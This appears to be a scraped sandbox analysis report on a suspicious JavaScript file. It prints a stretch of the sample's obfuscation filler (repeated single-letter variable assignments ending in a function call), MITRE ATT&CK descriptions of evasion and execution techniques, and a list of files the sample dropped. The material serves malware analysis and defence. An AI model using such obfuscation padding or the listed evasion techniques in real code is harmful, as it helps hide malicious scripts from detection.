1376	yivpg = "T";
1377	yivpg = "a";
1378	yivpg = "u";
1379	yivpg = "u";
1380	yivpg = "j";
1381	yivpg = "c";
1382	yivpg = "K";
1383	yivpg = "U";
1384	mqxrg = "p";
1385	mqxrg = "h";
1386	mqxrg = "o";
1387	mqxrg = "Z";
1388	mqxrg = "p";
1389	mqxrg = "G";
1390	mqxrg = "v";
1391	mqxrg = "Y";
1392	mqxrg = "S";
1393	mqxrg = "O";
1394	mqxrg = "G";
1395	mqxrg = "i";
1396	mqxrg = "V";
1397	mqxrg = "h";
1398	mqxrg = "R";
1399	mqxrg = "T";
1400	mqxrg = "x";
1401	mqxrg = "g";
1402	mqxrg = "H";
1403	mqxrg = "t";
1404	mqxrg = "b";
1405	mqxrg = "p";
1406	mqxrg = "r";
1407	mqxrg = "P";
1408	mqxrg = "C";
1409	mqxrg = "l";
1410	mqxrg = "W";
1411	mqxrg = "A";
1412	mqxrg = "N";
1413	mqxrg = "J";
1414	mqxrg = "N";
1415	mqxrg = "Q";
1416	mqxrg = ".";
1417	wafivyr = "Z";
1418	wafivyr = "o";
1419	wafivyr = "V";
1420	wafivyr = "u";
1421	wafivyr = "l";
1422	wafivyr = "l";
1423	wafivyr = "t";
1424	wafivyr = "e";
1425	wafivyr = "z";
1426	wafivyr = "I";
1427	wafivyr = "e";
1428	wafivyr = "k";
1429	kqxeooo = "k";
1430	kqxeooo = "V";
1431	kqxeooo = "T";
1432	kqxeooo = "p";
1433	kqxeooo = "s";
1434	kqxeooo = "W";
1435	kqxeooo = "n";
1436	kqxeooo = "o";
1437	kqxeooo = "v";
1438	kqxeooo = "s";
1439	kqxeooo = "u";
1440	kqxeooo = "Q";
1441	kqxeooo = "c";
1442	kqxeooo = "t";
1443	kqxeooo = "A";
1444	kqxeooo = ":";
1445	qswnzeak = "F";
1446	qswnzeak = "g";
1447	qswnzeak = "K";
1448	qswnzeak = "Q";
1449	qswnzeak = "E";
1450	qswnzeak = "p";
1451	qswnzeak = "L";
1452	qswnzeak = "F";
1453	qswnzeak = "g";
1454	qswnzeak = "A";
1455	qswnzeak = "x";
1456	qswnzeak = "b";
1457	qswnzeak = "P";
1458	qswnzeak = "s";
1459	qswnzeak = "r";
1460	qswnzeak = "l";
1461	qswnzeak = "d";
1462	qswnzeak = "D";
1463	qswnzeak = "x";
1464	qswnzeak = "G";
1465	qswnzeak = "w";
1466	qswnzeak = "b";
1467	qswnzeak = "e";
1468	qswnzeak = "L";
1469	qswnzeak = "H";
1470	qswnzeak = "M";
1471	qswnzeak = "D";
1472	qswnzeak = "I";
1473	qswnzeak = "c";
1474	qswnzeak = "i";
1475	qswnzeak = "S";
1476	qswnzeak = "G";
1477	qswnzeak = "c";
1478	qswnzeak = "L";
1479	qswnzeak = "k";
1480	qswnzeak = "K";
1481	qswnzeak = "P";
1482	qswnzeak = "t";
1483	qswnzeak = "e";
1484	qswnzeak = "l";
1485	qswnzeak = "a";
1486	qswnzeak = "p";
1487	qswnzeak = "i";
1488	qswnzeak = "k";
1489	qswnzeak = "E";
1490	lxxecjf = "Z";
1491	lxxecjf = "L";
1492	lxxecjf = "q";
1493	lxxecjf = "T";
1494	lxxecjf = "Z";
1495	lxxecjf = "s";
1496	lxxecjf = "c";
1497	lxxecjf = "r";
1498	lxxecjf = "w";
1499	lxxecjf = "y";
1500	lxxecjf = "h";
1501	lxxecjf = "j";
1502	lxxecjf = "K";
1503	lxxecjf = "t";
1504	lxxecjf = "D";
1505	lxxecjf = "L";
1506	lxxecjf = "c";
1507	lxxecjf = "I";
1508	kkltm = "n";
1509	kkltm = "F";
1510	kkltm = "U";
1511	kkltm = "n";
1512	kkltm = "s";
1513	kkltm = "r";
1514	kkltm = "E";
1515	kkltm = "f";
1516	kkltm = "X";
1517	kkltm = "u";
1518	kkltm = "U";
1519	kkltm = "h";
1520	kkltm = "H";
1521	kkltm = "p";
1522	kkltm = "j";
1523	kkltm = "S";
1524	kkltm = "j";
1525	kkltm = "q";
1526	kkltm = "U";
1527	kkltm = "S";
1528	kkltm = "s";
1529	kkltm = "h";
1530	kkltm = "e";
1531	kkltm = "e";
1532	kkltm = "e";
1533	kkltm = "x";
1534	kkltm = "a";
1535	kkltm = "Q";
1536	kkltm = "m";
1537	kkltm = "p";
1538	kkltm = "d";
1539	kkltm = "j";
1540	kkltm = "I";
1541	kkltm = "m";
1542	kkltm = "t";
1543	kkltm = "K";
1544	kkltm = "G";
1545	kkltm = "a";
1546	kkltm = "w";
1547	kkltm = "O";
1548	bjulgb ( );	bjulgb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 21534160892486631756.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8fc91902-41e6-4858-992f-55792374fa74.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF519168.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e39eed60-766b-4e5f-a088-59233941ea01.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
21534160892486631756.js